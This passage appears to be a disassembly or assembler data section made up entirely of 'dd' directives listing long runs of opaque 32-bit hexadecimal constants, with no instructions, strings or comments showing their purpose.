0A6502381h, 56187B0Fh, 0DE682764h dd 0CB1EFh, 5B2D9420h, 0F4008BF3h, 89E08AC3h, 153090Dh dd 0DF78BD8Fh, 6C7BCB7Ah, 11EA89C0h, 9DE8DC3Ch, 22F022AFh dd 585268A2h, 1214DE5Ch, 0BCD58941h, 6DE0C8h, 2671DD87h dd 562338Ah, 0CE1C0D1Ch, 4C8207C2h, 0A6485C78h, 0D5441348h dd 34540228h, 0F0E443CEh, 0A4EC1224h, 6CD46316h, 0FCB42885h dd 283C4908h, 2D7CF7C0h, 5A17413Ah, 44206926h, 0BFC6A6h dd 0EF70F120h, 5D0F3C8Dh, 1B701195h, 0A0D5240Ah, 0E84ED140h dd 15650052h, 0B4B78861h, 0B89E209Eh, 0A563B853h, 6E2B2h dd 7CF3859Dh, 31D6FD79h, 0B342D310h, 3203C622h, 78399755h dd 9CC9FC1Fh, 14DE21D6h, 1DBC4802h, 117104B6h, 0B4984C19h dd 416AD205h, 9C01CAB7h, 9159F888h, 0EF016708h, 57A6BB44h dd 69BEC354h, 0E17D3100h, 0F9AE72D2h, 0DD64B0B4h, 0A10060F2h dd 0E3239340h, 98A230AAh, 8007C84Ch, 5D4398C6h, 0B3347130h dd 0D53001Fh, 5CD2899Ch, 9CAE9586h, 1CE09D00h, 4748E8A7h dd 463400CBh, 18360875h, 0DE805067h, 0A9E86437h, 89E0A89Ch dd 0BCD810D5h, 0E5D116D8h, 0CC104CDDh, 0A50E2E19h, 0DDEE7E40h dd 71038549h, 460F894Ch, 0C15C2814h, 5679B288h, 8C187A08h dd 7004F2B7h, 0CF5F4EA8h, 0BD00C8B2h, 0F7677D3Bh, 0BC99DE60h dd 96684708h, 3A4092D5h, 0C611BC20h, 7470059h, 89AFBBF6h dd 56164557h, 0B600218Bh, 2E1E86D1h, 0B4C092DAh, 8C891714h dd 0E4B8D03Ch, 0DC475481h, 4439DD3Ah, 72FD8BAEh, 0B0C066C8h dd 72E145F4h, 7CD004Ch, 39739070h, 0ECEF983Bh, 8161C037h dd 1A6F33D2h, 0D7D52B18h, 0F7EE969h, 1F0D3152h, 0E7F28260h dd 0EE0BD195h, 89165D3Dh, 12CCEE80h, 8EC68B9Eh, 3FC96038h dd 911A3886h, 5E49048h dd 0AC2BCEDEh, 0D444348Ch, 0D9B21420h, 79F0F827h, 71F8093h dd 0C5373F31h, 86E6D09Eh, 0E549A177h, 0A40DC68h, 285BD421h dd 0B5510701h, 9076736Ch, 722EAE17h, 5C60C74Bh, 238B633h dd 9DC1BEAAh, 1029218Ch, 58278648h, 6712CCE2h, 0A04450A2h dd 5D9A73C1h, 23BDF02Bh, 0F15E9700h, 52A6B571h, 442F5D55h dd 73E66300h, 0C2117745h, 4F2C6459h, 25861030h, 0D1EF0746h dd 0E10EFB4Bh, 6236AE14h, 0AC457B64h, 8710012Ah, 35F81912h dd 9189454h, 0D8D0D7A0h, 0F2EC657Dh, 20D85E4Eh, 0C849AAB8h dd 0A20741EEh, 31785762h, 14F4A045h, 8D362C1h, 0B065752Ch dd 0C4EBD200h, 99E3E10h, 8D9C7112h, 0F48498E8h, 7BB488h dd 57A1256Dh, 7A50BFDAh, 7E0390FCh, 410C2F94h, 7CB10DDCh dd 0E2991138h, 1C0FF07Bh, 234F91E7h, 0D7E98878h, 393DC8F1h dd 0E700E87Fh, 0A99B4680h, 4C97E420h, 47C5343Ch, 0D3B8C394h dd 17F9491Eh, 2E777444h, 24C414C2h, 2C50DC7Fh, 7CE2070Dh dd 242039CCh, 0C0008A98h, 52DC347Ah, 8B6C763Ch, 4C0812DEh dd 53001CCh, 0FBB00941h, 7ECBD856h, 1C32495Eh, 5A3020E7h dd 0B607CF5Ch, 7B98EFC9h, 293A982Dh, 186648h, 29D533D4h dd 0DDA2B5h, 0D7BF9390h, 16401CCFh, 0C3A5050Bh, 34FC0144h dd 173B8D7Fh, 0CC749CD8h, 18FA5088h, 60206F0Eh, 0FCA10601h dd 0F5436D1h, 13C5759Eh, 0B8347498h, 942227F8h, 169C2CC9h dd 0BC14B639h, 9D095438h, 70D2D374h, 58658F5Ah, 80A8D887h dd 0E5CB2608h, 82E23BD0h, 0DC497203h, 0FFC579h, 33CD3141h dd 0DA857B43h, 0D6FCE65Ch, 7A562440h, 0B9813340h, 0A118B07Ch dd 9027D6Ch, 0EABD243Bh, 0A064B9h, 0C5C0AC7Fh, 8B827C2Ah dd 0E0C43917h, 6CE5800Bh, 956E03E8h, 1EDA8E9Ch, 6C3E7EE8h dd 10FF3727h, 48126B34h, 0A1A0A0EFh, 3F01B706h, 0FA9F2F29h dd 406D5D2Eh, 6CD4284Eh, 0A3401D01h, 64387724h, 3134622Eh dd 32402C74h, 0D74F30Ah, 529E6902h, 751FF029h, 5131110Bh dd 1E5091E6h, 0CE0FB823h, 0D897E72Ch, 0A108F4D8h, 96E07E9h dd 443A539Eh, 0ED400856h, 21886Bh, 0A72DE97Ch, 0BD82C05Ch dd 0C89E9A00h, 4B5D3339h, 6884827Fh, 0A80B52CFh, 7A101A1Ch dd 9D862FFCh, 0ED75CC90h, 2C4518Ah, 15D6A43Ah, 14AD3860h dd 11141C7Ah, 791C7129h, 0AF605801h, 0DEE15155h, 41E2BF10h dd 1AB94200h, 56486D9Eh, 9D930ECAh, 0A04A5A0Bh, 0DD634490h dd 1DC80C48h, 4C318805h, 0CC83BF9h, 1FC388FAh, 4BA1CACh dd 0F3ED7A00h, 0A2151ED5h, 12CBFC07h, 92DB6644h, 0EC594FACh dd 0D2C29D40h, 0C66724D4h, 62444360h, 97EBFDA8h, 937C9E27h dd 7F212694h, 0F19ECA8h, 6510416Bh, 0CE358034h, 0C853023h dd 0D0296A00h, 786D4F84h, 0CABA0442h, 0BCECF4D9h, 0FB1EC940h dd 40002604h, 6AAA311Ch, 0B09985B8h, 3B6C07B9h, 60919AF8h dd 8C20289Dh, 82CB911h, 9CA89916h, 0F7BD461Ch, 0D0047CD3h dd 0CE45C88Ah, 91D4A8E4h, 9408657Ch, 2AFB8482h, 1014252Ch dd 20DCF44h, 0C47C8613h, 0C4C93467h, 64743F94h, 434CB418h dd 3B8D0BC0h, 3C49928Bh, 0C2147DE5h, 0C4A084h, 56E13997h dd 6AC2938h, 6448F4D6h, 1C0A0499h, 0D87DCF26h, 3253CEC4h dd 94CD4B28h, 8838F820h, 1A0082CEh, 6ED1C699h, 0F868FA8h dd 0B6BDF739h, 0EABB4480h, 0D73D6D61h, 5978D02Eh, 266A4200h dd 0CBB65E16h, 0D6530145h, 37FDF460h, 90B8A7B2h, 4FD8ECh dd 2C7EAE66h, 0AF15DCEEh, 4A7CE30Ch, 16CE91EFh, 0D1DF5973h dd 428E4250h, 0C8D41270h, 68A58CA8h, 0AF597780h, 69D6C6BFh dd 0C88431FAh, 0C8C4BCACh, 0FCE05D5h, 22FCE2F7h, 410300D7h dd 5EC1754h, 81006142h, 0ADB63B30h, 270EF56Fh, 0ACA1D311h dd 22EFDF88h, 660C000Ch, 3C284FC3h, 1E0F2543h, 7C007C45h dd 5820A39Eh, 0C061001Ch, 1D1E81A2h, 382466D1h, 0E4657C18h dd 0E01EC4A2h, 92C28023h, 0A39A6B81h, 0BFE7DF1Fh, 18E402CBh dd 658CF4h, 0A7912662h, 0FCF4485Bh, 6840EF4Bh, 8FD51CE6h dd 0A0E90443h, 279932CFh, 553DAB4h, 80DF89E8h, 0CA658A64h dd 703CC124h, 0FF8E6C60h, 117200A1h, 0E4484EE1h, 0D605741Ch dd 0CB169E6Ah, 0A89490ACh, 4C407EC8h, 275180E9h, 50646ADCh dd 32C1BC00h, 38100993h, 482A0007h, 0DDCB11E9h, 161F896Ah dd 0E7CBDE5Dh, 80B451D9h, 63307AE1h, 0B800FC77h, 0A3739274h dd 11A2FA8Ch, 28A0847Bh, 4E00E014h, 10402722h, 58AFECB2h dd 748504C8h, 0EF944929h, 93B444C8h, 807B133Bh, 0C2A99584h dd 1A282B1h, 6066F91Ah, 2E179ED3h, 4094EC32h, 809F12A8h dd 7E0A56D5h, 44E9EBCAh, 16884C26h, 4008AEF5h, 74309650h dd 4941775h, 3047D80h, 96F75A31h, 0DBB28188h, 0C42B9D5Bh dd 1325A716h, 7BD09008h, 0FA5E0077h, 0D140EC85h, 2FF89DB0h dd 0B020D94Eh, 3DB7A2F6h, 0B800EB80h, 5DA0CFB3h, 3D0597E9h dd 6038649Ch, 1999C8Ch, 2AB70CEAh, 0D2D52B6Bh, 8DDB94A0h dd 5C00D786h, 1F6758ACh, 0E0B10ACAh, 0EC6C00DFh, 7710E606h dd 7912206Ah, 64F2E49Bh, 6323B400h, 0B800CEBh, 4E1DDB71h dd 0F040D406h, 0D66DAD81h, 0B1E80355h, 0D9A298B2h, 849A7FA0h dd 6B2D1814h, 0B4D322BCh, 349440C0h, 0E2004DDDh, 0DC59FD9Dh dd 703CB9Ah, 2CA5C024h, 0C45ED0BDh, 0D7000937h, 0DFA939CEh dd 7B06DFDh, 7AF38BF2h, 620A4016h, 0DC0001D6h, 1ED9152Ch dd 0C0ADD70Fh, 821BF931h, 4200DAE3h, 1C86D264h, 1E019B05h dd 0A413E6h, 89DE0E8Eh, 0DF00B36Bh, 9F0B39B9h, 9CE230h dd 2EBD31EBh, 0B037CFCEh, 0B22C5450h, 0F118F651h, 1906D353h dd 0D5965417h, 2C080111h, 1CABE7CBh, 750BCC11h, 61704F00h dd 0DFA8E9B8h, 38836090h, 158C66B9h, 6517D700h, 0C0C59E36h dd 39350705h, 903CA703h, 54AC1F11h, 36CEA908h, 37A0864Ch dd 31F87128h, 0EB197067h, 0E199E380h, 195C0113h, 90278797h dd 0F321874Bh, 40C09801h, 52A76FC3h, 0BE2284A0h, 0EB764F1Ch dd 1EA178C0h, 0F3C7ABDh, 5E2853D2h, 4394AC0h, 0A840EA90h dd 44C20072h, 3C3EDA71h, 0AF0089B6h, 0FBC142EDh, 0C4CB0A1h dd 2C35E069h, 1300D981h, 0E0B5F9Eh, 233F54h, 45BBE618h dd 0B89C5C36h, 9929C10Eh, 0A99178A0h, 0A89130E4h, 152F0641h dd 0BD02B3FEh, 66D903F8h, 0F490A21Eh, 7AC8A5B4h, 0F977E100h dd 0FEA1CBh, 102166E0h, 61B02963h, 601DCA4h, 1D9FB4D9h dd 0B2D4749Bh, 79AE61BEh, 8900CA2h, 84831FE3h, 75853A65h dd 4730A0B4h, 68701150h, 31BE411Dh, 0B1F418B5h, 0E28069BFh dd 0BA325181h, 167974A2h, 41CF9630h, 1FFF8608h, 40FB068Dh dd 1A03A245h, 0E600190Fh, 8ADD7781h, 0E5F3F39h, 7B383C9h dd 898412Ah, 20011BC0h, 0C5F409F3h, 6FA07180h, 0C2ED09Dh dd 1E3A5200h, 2BB40288h, 392B8E4h, 0EDE3C0BAh, 0E1006F90h dd 7E75C9E8h, 0E835F1Ah, 4B2E24D8h, 520E26E1h, 72D44834h dd 0BAF993E5h, 0D700FE13h, 52692CE2h, 490801A7h, 9B7E95AEh dd 7299F409h, 4231BD60h, 0AA101Eh, 0A964BC49h, 72F2285Eh dd 35B11A00h, 70B30B1Dh, 3A5F01E8h, 0FCDEBECBh, 782290h dd 523EA25h, 0E75D07Ah, 1BF17B98h, 0DF5AD4E2h, 0FCA4D442h dd 0B3CC8270h, 66637C2Ah, 0F7D3D0C4h, 3EF300DDh, 4C5F68F4h dd 2924BF83h, 0B28ACCB9h, 0A8205828h, 0B5B044h, 53CD4C12h dd 6228CE51h, 8561D701h dd 0FF0EDADDh, 0D5008823h, 3A41A0FEh, 5A00D7B7h, 4D627FD6h dd 1942B39h, 9DA1D9FFh, 5280CC99h, 1F27B690h, 0FC9F34A1h dd 0A2250C0h, 24E75489h, 44A284BCh, 2DFC8031h, 0FF80B86Eh dd 1F0EE237h, 81EF3EF8h, 0CCBDB2DDh, 0A15087DEh, 0AD30A25Dh dd 917935CEh, 448028C0h, 8A7836BFh, 9515F6Fh, 724071Dh dd 7A0E46C1h, 0A4EEC4h, 0A070E3D7h, 0E83124F1h, 0E018CE51h dd 0F03C966Bh, 0E0497422h, 73270068h, 0AC124D0Dh, 12A79FCh dd 89C42F77h, 0C46891E6h, 91C454CBh, 0A48833A0h, 149030F8h dd 0A29B2268h, 0BAB2FF0Ch, 50B021B1h, 6995C5Ch, 91FE84DAh dd 3D004976h, 3179AFCFh, 0A64358h, 982ABDE1h, 56AE66D7h dd 7D985FF0h, 51B57230h, 0EEE6A514h, 0FB950047h, 27DAE7D8h dd 0FF010250h, 0E4374236h, 6FDCC98h, 20BED442h, 0DA935C0Bh dd 1A33E80Eh, 6A04C7ECh, 80EBCFD3h, 0C7D67EA1h, 0C007DFD1h dd 984E4097h, 21FFB303h, 0B8C182BAh, 7A490991h, 0FE833FE6h dd 94CDAACh, 0B8019D77h, 27E22Fh, 4C3B2C8Eh, 282890B1h dd 9A84488h, 4DF3A400h, 0D498C533h, 0A724042Fh, 0C2FBB399h dd 9622C364h, 9CC90CEh, 70A400ECh, 233D595Dh, 0B601C594h dd 8C5522CCh, 2C6098DFh, 3B748429h, 13764188h, 30823FE0h dd 0DB21C7E4h, 1400FCA6h, 24738979h, 0ABD6C6h, 0A26B763Dh dd 0ED2A161h, 508C9D4Ch, 9988C338h, 0A9BF6049h, 11A5375Eh dd 3D1D0500h, 0B4E2B727h, 1D8E196h, 34EA3833h, 1161DE09h dd 30000009h, 2B89BA9Bh, 0AC729F18h, 0E18449h, 7C537150h dd 0FD46F078h, 91DAEA0Ch, 505A9F1h, 0AA277238h, 5534C0C1h dd 6B0CC892h, 0A0DAC614h, 379088B7h, 0E0D7F1CFh, 2C127AA2h dd 0FBC99ACh, 0B4D4D2B2h, 0F580D488h, 72C4F003h, 2577624h dd 0DCDAC19Bh, 1C8A67ACh, 39FB194Fh, 0C8B513CDh, 3B6FE1h dd 0B1EAA7D2h, 73161A32h, 0AB914404h, 9C80D469h, 90A06352h dd 0E9CAA08h, 0B6064484h, 0D7805881h, 68406040h, 0E44C7509h dd 2FDC0399h, 0CB7BB019h, 8344E059h, 0A04B0FF1h, 96DA70h dd 57ECF631h, 3C11254Eh, 0FD8C4951h, 0CCB091F2h, 0EEB87402h dd 0C0DD7BA6h, 5C1D4D23h, 0DC00B304h, 13D5591Ch, 6905A3E1h dd 0A8B0B9BAh, 0B665FC30h, 9AE20049h, 42BE1BE9h, 0C64CD7A5h dd 0A2EBA0DCh, 77671C9Ch, 0AA6EC496h, 917383CCh, 98B95022h dd 3A0E0B80h, 47D24h, 207622C8h, 0AE41CFB3h, 4D86F803h dd 0C0804B17h, 2C32CC0Bh, 0A8ACADAFh, 0B0BD449Ch, 0B024B758h dd 3DC82Fh, 0DFA793Fh, 532CA8DBh, 0B0508820h, 88DDF05Ch dd 5F333149h, 0E2AE0809h, 0B0F440F9h, 2C8F5060h, 0E930886Fh dd 99F58100h, 9B72EFF7h, 3EA7970h, 0B2A6DC73h, 9977E2D3h dd 0E9802506h, 9069322Bh, 8AF17294h, 241FFCC0h, 3E2C4B7Ch dd 300800FEh, 8F94A9A0h, 642079A4h, 0C160567h, 48AA9D04h dd 0E8D65111h, 0E9721F68h, 803DE12Ch, 98071044h, 518F6AD2h dd 0DC209CC3h, 0E9AB4023h, 8638334Ch, 1CE9B6F4h, 80C82EBDh dd 8F930304h, 1658DDDAh, 1F7522F0h, 82F15B59h, 0D5EC2645h dd 7E034240h, 80386B5Ch, 30FC3C9Ch, 0FF010034h, 0A40B36D6h dd 8A483FE3h, 52130208h, 829DF828h, 10ADB788h, 1B3EC9A5h dd 3F38540Eh, 0EEF57300h, 33A48544h, 300B739Dh, 0BB213A91h dd 0B6B0F42Eh, 0DA21D8A0h, 0A80F091h, 78E2B3Ah, 0EFF8046Bh dd 0C15E7588h, 1082E7DCh, 0B2DE6641h, 4CC08194h, 2829A011h dd 403888DCh, 9B0969E4h, 0B19FCC00h, 30F925D9h, 4CA40098h dd 0C6BA36E2h, 374CC065h, 0E1FAC018h, 0F7264Dh, 0B77183EDh dd 0D2DBE620h, 693EA502h, 0C1864594h, 28623FB6h, 0E1DCF049h dd 24100E9Ah, 2C323654h, 90301411h, 98848AC1h, 0D29646BFh dd 0C97031h, 0AA17DD9Ah, 99CF90ADh, 9EE21C16h, 80B0A408h dd 8270CD85h, 0BF03DBF5h, 37DDEDA2h, 0F9879024h, 3971C048h dd 0C3177B07h, 90C0386Bh, 4A6928h, 85D7C57Dh, 2B23FDD1h dd 4DBF300h, 0B7581F8Fh, 59DF091Bh, 2C935DB0h, 148022h dd 179C32F1h, 5B2B603Ah, 0DB9DA01Eh, 20BE9E40h, 95EA4Ch dd 0E90EA2AEh, 0CCD10935h, 8127BB3Ch, 0C0966356h, 0E02291EBh dd 0AF5A5071h, 0C2600045h, 0C425194Dh, 8BF478CDh, 10CA9026h dd 32EF1D00h, 5EEA20Bh, 0AA22E4B2h, 9AB42096h, 45002C65h dd 0A63AC7D5h, 0C52A240Ch, 8B9B870h, 239FB360h, 0A7985082h dd 0C40CE1E1h, 87840315h, 21C317F3h, 0A56D5FC0h, 0CE140CB8h dd 8EF0A733h, 0E304912Fh, 0A8EE90h, 0EF841AAh, 12F20359h dd 0DDD5379Dh, 0F3EBAD8h, 4013E11Eh, 7970A780h, 9C820FEh dd 0D998EC2Ch, 831B9018h, 445C7200h, 0DF3254F9h, 74313F4h dd 0A07830FEh, 1D005C3Dh, 512C1A49h, 200325h, 0E30EE6DBh dd 0DE297011h, 0C8D34C90h, 0CC909812h, 91EFF1A5h, 207213B4h dd 0B71B9B7Ch, 0FF0D2D00h, 745346E0h, 60A00C95h, 0E3B198EFh dd 0A5A94E09h, 1DDC415Fh, 37FC58D1h, 9BFCF012h, 1CAC0038h dd 0EA13A9E5h, 0EA4193Bh, 0A0DCD3C8h, 962721A0h, 6F1C0D7h dd 0A2BE2F79h, 53FF1C00h, 95CCAB13h, 2208B0F9h, 0F42C2A3Ah dd 864058B2h, 1D282C87h, 8F7A323Bh, 6642F76Ch, 2053FB7Dh dd 2541A088h, 46D8F010h, 0E0C63C50h, 6D648F00h, 8A0CD531h dd 9BFA008Dh, 305ABC55h, 29022A99h, 0B0909AD7h, 0F2C8B52h dd 41C2E8F4h, 5A8EE2Ch, 4074C8h, 2229F5BDh, 0C6122138h dd 230B5200h, 0ECCB3585h, 0A45501A6h, 32CE09A9h, 0B94723Dh dd 7FF52Eh, 0F378C6D0h, 69E16096h, 8CCC1D1h, 80495E0Fh dd 0AE11E0ADh, 9B8D08Eh, 2AD60690h, 0BA991023h, 4733FCC8h dd 477D974h, 98FFF809h, 0DCC80C2h, 0B078B7CAh, 0F33F1293h dd 0FF7002AAh, 0CC98BEE9h, 920063C4h, 0DE148C75h, 0BF0CE58h dd 3AD50AD9h, 0A898E812h, 701C24ACh, 66008CF8h, 34CEB50Eh dd 1248964Ah, 5134206Bh, 7F0E753Bh, 0BB42D702h, 7061B0B1h dd 0D4BA0EB8h, 0F7C5B59Dh, 2FB4091Bh, 59000016h, 48612DE1h dd 139377h, 8E2717FFh, 0F75607ADh, 0C209E4Eh, 39BF81FDh dd 0C70096E9h, 4F5F32C1h, 4A14A712h, 10C0DA65h, 2C855337h dd 0E858CD07h, 4DF6F4E7h, 84FF243Ch, 0B19D0E3Dh, 0CC003CA3h dd 4B0133F4h, 6600B0E7h, 0A2FCFDE8h, 4957A1Ah, 92A9C4E1h dd 2CA26Bh, 0CD5A0FC0h, 1B815D1h, 2B29F16h, 886C36E3h dd 833A3890h, 0CFD70ED9h, 95083900h, 3D0992C5h, 451900C2h dd 0C73E47FBh, 8E3E0E71h, 0C0884CECh, 7446B0A7h, 29F2000Dh dd 143E1BFCh, 0F0B9D7A5h, 498AA601h, 24C423D5h, 6FD89F0Eh dd 997D4716h, 276F8600h, 9935E1A6h, 8737907Ch, 2D820A07h dd 0CED091E6h, 7DDB6D10h, 47E5F100h, 655B162Ah, 0A73D0040h dd 6256BDC5h, 0D4ECC20h, 6580E034h, 0E87DCA79h, 0AEA40075h dd 0D8D05A9Eh, 394B98D4h, 44674071h, 394EB001h, 402026A8h dd 1F0A8D61h, 3F8F96C0h, 0BE00E959h, 0D3CB17FBh, 0B13A0D36h dd 0B9C500F8h, 6F6209FFh, 0C38B2CC0h, 87813898h, 0DA674DFAh dd 410BC4F8h, 699F9131h, 7180BAF4h, 283431FDh, 7A17C810h dd 0F80D79D5h, 2C4729BEh, 459F48h, 0B0271D06h, 19C6AC53h dd 0EE215290h, 0F0711E20h, 12C09F0Fh, 0CECC3039h, 29D68435h dd 0A6AD0030h, 6E6000D4h, 2901523Eh, 93046A83h, 0E6A1D8D3h dd 0A3EA2481h, 394BEFF0h, 0ACA8DCD9h, 0CE8E44D8h, 59983F32h dd 0C0D9D9h, 0AFE74F06h dd 471E0B16h, 79C1E957h, 9921C7FFh, 909814E4h, 30D04E94h dd 0DEA99CECh, 0DC93B300h, 4C8F6228h, 30EF474h, 6AF5123Bh dd 0A5ECB2FFh, 2DA097A0h, 34C08C24h, 24F19885h, 50F8188h dd 703ACECBh, 0ABB087Ch, 0B400D87Ah, 1D07EEE6h, 0B6535ECh dd 91DA8AE7h, 7494A410h, 4BC99F00h, 0B85B225Dh, 0A555186Fh dd 81A46805h, 0F2407096h, 7584DF0h, 9834663Ch, 0C7441042h dd 0AE4C63D9h, 8E670550h, 74809045h, 408D4998h, 62FDA6DAh dd 0CC00792Ch, 0AB2B703Dh, 773C6069h, 7BF1F093h, 0E18C0167h dd 9025B75Dh, 24F82943h, 9068A836h, 0A507AE11h, 413D9CB7h dd 688E31D6h, 2BE90C20h, 0EFF3136h, 0A4137237h, 20E6723h dd 0E82EA80Fh, 526B402Bh, 7DCB924Ah, 319F0BFCh, 0AC6CB9D3h dd 18105800h, 2F8D8B1Fh, 0D898086Fh, 0AA80E091h, 0B1A0371Ch dd 203F2E08h, 4FFA0011h, 61AFC5Ah, 5B012679h, 0DF98B885h dd 0C42255B0h, 0F2F52100h, 86CC99E2h, 0F3137EF8h, 0E020D676h dd 1AEAFAAh, 98778C07h, 0FC6D4C6Eh, 1609BD68h, 0AAD9CFCh dd 0B9081810h, 566781A9h, 42C7AFCCh, 0CC792EC0h, 0E6BBEA00h dd 484B68D4h, 0A7003EE9h, 27366AD8h, 234C7BDCh, 0B4204EACh dd 1CD6AEh, 61716F83h, 0D5D211Fh, 1D192203h, 0C8BA4438h dd 90E3F846h, 0CEFE17FCh, 0A064903Bh, 0C0A4DC2Eh, 0A5C49802h dd 8238F5E9h, 0D97BB054h, 2F310208h, 0E442A018h, 2F7C1C0Ah dd 8FF441Ch, 362205CCh, 8C640199h, 1D48461Ch, 0E86700E2h dd 0EC80B2E7h, 3149130Eh, 0DD2CC8A6h, 7D976900h, 0BC70841Ch dd 79B81329h, 150800D2h, 96C7BEBDh, 5EB22C4Ch, 70D81810h dd 133D70C0h, 0C5E8A5Ch, 3CB6FF58h, 99C90CD0h, 37C81190h dd 252ED1D4h, 46E37E87h, 404A66B8h, 0DA1CEB00h, 8325842Dh dd 0C939EAE9h, 452F499h, 0EE5BA800h, 0B15026A7h, 43BD0028h dd 0E536A082h, 3800FFB5h, 60AB66A3h, 0B654B08Bh, 98C6AB0h dd 98444C02h, 0B0004E71h, 0B3B4C028h, 6BBBD1h, 0CAE94471h dd 2253968Eh, 0D7A03917h, 0A5FA4890h, 0EB7A0E7h, 167C13C9h dd 0B26802DEh, 0E496A8D2h, 2EDA2401h, 0D3F2C68Ch, 29F3C0DFh dd 0F8914CE5h, 71BEFC17h, 0E8EA8750h, 7C00D772h, 81CCCE08h dd 6FC23A5h, 26719A39h, 0F42C606Bh, 0AE00453h, 0F93CA4Bh dd 0B04CE674h, 0B2F59C20h, 8C9ED0BDh, 0E4279612h, 1B745A0h dd 675D3BA7h, 6F5E5480h, 0F01650ABh, 387C9C31h, 0A203DCA6h dd 975D26F9h, 20858B78h, 0A50E30E3h, 0D5033BE4h, 5098E07Bh dd 0AD0F7603h, 0A7E7745Dh, 0DC0637Eh, 48885213h, 260F14F3h dd 3562A491h, 6849AFFEh, 0E427D22Ch, 0CB994731h, 0C400A873h dd 241C41BBh, 22352E5Eh, 0DC16498Ah, 49B0341Dh, 0E47D2945h dd 0EE3700DAh, 0FF7CF8B2h, 190C9B39h, 290835D5h, 88A6D9h dd 565FBAF1h, 0AF9FA677h, 87F6FF00h, 0A0A70EC3h, 29DE6232h dd 30C29BFCh, 0EC0E0851h, 0FB8F00ADh, 78C622h, 0C01C3312h dd 91A1E4A8h, 48E97503h, 0C3733887h, 618831CBh, 88AE0EB0h dd 96E036F9h, 37CC8FFh, 8A38E70Fh, 98FE6201h, 64D86091h dd 49540219h, 271120E2h, 0FBEB48C0h, 0D2FAD8A1h, 64D70902h dd 498900D4h, 0AA2E529Eh, 3738EB90h, 727B00F9h, 0BFE39341h dd 302916DAh, 32F005CCh, 0E2C8DDB8h, 0B11D60DDh, 7EB200A6h dd 0CB6BEC36h, 0D80065E3h, 0D2B3D12h, 9091635Fh, 3AB62010h dd 0AE20B210h, 2E3FF181h, 50A87C26h, 0D940C304h, 935E014Fh dd 63CA8DB0h, 0F9E464D2h, 1540589Ch, 16443FC8h, 13E1FCAh dd 0E0780A27h, 0D300244Ah, 35313CB0h, 3AA03136h, 0D891B038h dd 92280724h, 1454B4D7h, 0ACD0DC39h, 0E5067CB6h, 5EC03038h dd 3A407156h, 9A27C047h, 709C7CBCh, 5CDE3400h, 0DA9F82h dd 4220702h, 37C0789Ah, 5F5EB07Dh, 2FBDB422h, 0F417E20h dd 0B700F7CDh, 647DBF2Ah, 0E0C40369h, 0F38B02B3h, 0D50780C6h dd 0DA12FC79h, 4B945430h, 6EEAAFh, 0E88619CDh, 261FFC1Dh dd 0B0E5FB05h, 3C1DC460h, 0CC209117h, 2B7836h, 0B569F767h dd 0CCC42AB1h, 98044F0Bh, 0E4B80BD2h, 0D7E400A4h, 6B3A8D7Dh dd 33005DBFh, 84B444B1h, 4A991DE9h, 249C30DAh, 0E2782ABDh dd 0E8459490h, 0C0077472h, 53EDD8F6h, 0E7E8277Fh, 0CD00AED6h dd 0E3F98EBBh, 5A03BA36h, 3BB00864h, 3DE83180h, 12C1214Dh dd 172FE5E2h, 5348C870h, 0D501048Ch, 0BAE283Fh, 52500941h dd 0A0990730h, 3336EF58h, 91C20F0Eh, 4A0078C6h, 290AC004h dd 3D71254h, 0C0B754Fh, 2DC848F5h, 7D9072E5h, 0F83A28B0h dd 225853ABh, 978D00E1h, 0EFFBB834h, 81587462h, 1A9E0090h dd 24BFC0BEh, 0B0C90A5Dh, 305CB652h, 0BAB29098h, 0E0000B9h dd 309F01E4h, 900496BCh, 480B9334h, 0BC1C4417h, 4A898020h dd 0F95DFB60h, 0E131100h, 0B21C6B2Ch, 0BEBC0110h, 213A683Bh dd 1B245254h, 883E602Ch, 8C0529D9h, 0F60E9B6Dh, 21AE4CC2h dd 3C33CE09h, 557CC734h, 20D872Fh, 981B017Eh, 786867CCh dd 4F31358Fh, 0FCE5FC20h, 88C50066h, 0AE4E12A8h, 0C300BF4Fh dd 34E25F8Ah, 247DDE07h, 6020C0F5h, 9BD9803Dh, 5100BF76h dd 6F30B2FEh, 2ECEE24Bh, 4F341B25h, 0CCB21671h, 1061C432h dd 8B0A8521h, 78CA34E1h, 0CC82AC24h, 411DD20Ah, 0A2B0664h dd 41B4C2F4h, 3AA1E6BEh, 0F2D58820h, 0FA22129Bh, 96D8F69Ch dd 6954340Fh, 0C8E4585Dh, 90A57678h, 37F1D5Ch, 7AFD473Eh dd 0F4E1966Dh, 0F8412B9Ch, 0B7D669CDh, 9477C510h, 8985961Eh dd 0E5F5EA87h, 91B50972h, 0C016A8E4h, 1A534B9h, 0B3EFB2B8h dd 8C00912h, 0FC010EDAh, 0CEB5C536h, 50424C32h, 1F9721A8h dd 5EC13E46h, 2872F010h, 49DEEA18h, 8A4C3149h, 0F6BE2208h dd 0B8A25857h, 0D8997314h, 51AF2818h, 381F8037h, 2C40CC31h dd 265F0E9Fh, 97E0A00Ah, 6B218071h, 0C43CC948h, 64403A35h dd 10E2E179h, 0BBE90E09h, 0F3CC472h, 2E63143Ch, 0DC5FB000h dd 0D90D21ADh, 99FBE9A3h, 55A12887h, 20D1A97Ah, 0B2C23E9Dh dd 919738CEh, 6210BF80h, 1000D6EDh, 0C47AF8BEh, 0EC0CAA79h dd 757701Bh, 904D275Ch, 0E411DBC8h, 2CCE1129h, 134520D2h dd 0A006BBF6h, 0A637F8B1h, 4BA4DF0h, 6A0FF987h, 0E91E0588h dd 67240191h, 0FCE5E0B1h, 80A1A112h, 28282A34h, 0EC32006Fh dd 24027BEBh, 8061109Eh, 99696C1Ah, 5CB860h, 0FF9D3518h dd 0F4AE8F31h, 4C81C960h, 1D30A2AFh, 80BDEE2Ch, 56D5DD34h dd 9DFCE84Ah, 0E0B17A28h, 89E02CBEh, 10136E2h, 74DD72A1h dd 4555FD02h, 82BC81B0h, 0B9E85090h, 0BA05851Eh, 362BAF57h dd 0EEB064C3h, 0A8DF5851h, 6A889001h, 419E44DAh, 42E73294h dd 6820C538h, 18044C0Bh, 0D4F53EE1h, 7005F94h, 9B774BC5h dd 19A4939Fh, 0B1D0901Dh, 63F88541h, 0B8C33969h, 0B8917CB0h dd 9F490A78h, 0C06C0F32h, 0EFEC07D3h, 0A524BB00h, 0BF1F8DC0h dd 0C63B0C49h, 2D384EA0h, 27E4C444h, 34B8C990h, 510082D6h dd 0BE7F3F3Ah, 90E767Bh, 16642DF9h, 9687080h, 3D0B5C9Bh dd 44F324FCh, 13CA0CBCh, 1A0E7D49h, 74C8EAF9h, 0BA252C07h dd 0A1444002h, 0F466B80Eh, 0F31D1794h, 9AD83003h, 0DE008379h dd 0DB9B01A1h, 